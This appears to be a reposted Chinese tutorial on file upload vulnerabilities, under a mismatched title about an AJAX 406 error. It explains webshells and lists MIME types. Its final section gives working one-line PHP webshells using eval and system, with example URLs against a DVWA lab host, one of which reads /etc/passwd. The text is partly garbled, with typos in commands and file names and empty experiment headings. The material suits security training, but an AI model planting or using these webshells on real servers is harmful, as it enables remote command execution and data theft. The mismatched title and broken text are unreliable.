ajax請求響應406錯誤
阿新 • • 發佈:2020-07-30
簡介
- 檔案上傳(File Upload )是大部分Web應用都具備的功能,例如使用者上傳附件、修改頭像、分享圖片/視訊等
- 正常的檔案一般是文件、圖片、視訊等, Web應用收集之後放入後臺儲存,需要的時候再調用出來返回
- 如果惡意檔案如PHP,ASP等執行檔案繞過web應用,並順利執行,則相當於黑客直接拿到了webshe11
- 一旦黑客拿到Webshel1 ,則可以拿到Web應用的資料,刪除Web檔案,本地提權,進一步拿下整個伺服器甚至內網
- SQL注入攻擊的物件是資料庫服務,檔案上傳漏洞主要攻擊Web服務,實際滲透兩種相結合,達到對目標的深度控制
實驗
實驗一
實驗二
型別 | 描述 | 典型示例 |
---|---|---|
text |
表明檔案是普通文字,理論上是人類可讀 | text/plain , text/html , text/css, text/javascript |
image |
表明是某種影象。不包括視訊,但是動態圖(比如動態gif)也使用image型別 | image/gif , image/png , image/jpeg , image/bmp , image/webp , image/x-icon , image/vnd.microsoft.icon |
audio |
表明是某種音訊檔案 | audio/midi , audio/mpeg, audio/webm, audio/ogg, audio/wav |
video |
表明是某種視訊檔案 | video/webm video/ogg |
application |
表明是某種二進位制資料 | application/octet-stream , application/pkcs12 , application/vnd.mspowerpoint , application/xhtml+xml , application/xml , application/pdf |
對於text檔案型別若沒有特定的subtype,就使用
text/plain
。類似的,二進位制檔案沒有特定或已知的 subtype,即使用application/octet-stream
。
Webshell
小馬:一句話木馬也稱為小馬,即整個shell程式碼量只有一行,一般是系統執行函式
大馬:程式碼量和功能比小馬多,一般會進行二次編碼加密,防止被安全防火牆/入侵系統檢測到
shell1.php #檔名稱
eval使用php函式,例如phpinfo()
程式碼如下
<?php eval($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell1.php?password=phpinfo();
shell2.php #檔名稱
system使用Linux系統命令,例如1s,cp,rm
程式碼如下
<?php system($_REQUEST['password']);?>
示例
http://10.3.139.173/dvwa/hackable/uploads/shell2php?password=cat /etc/passwd
<?php @eval($_POST['password']);?>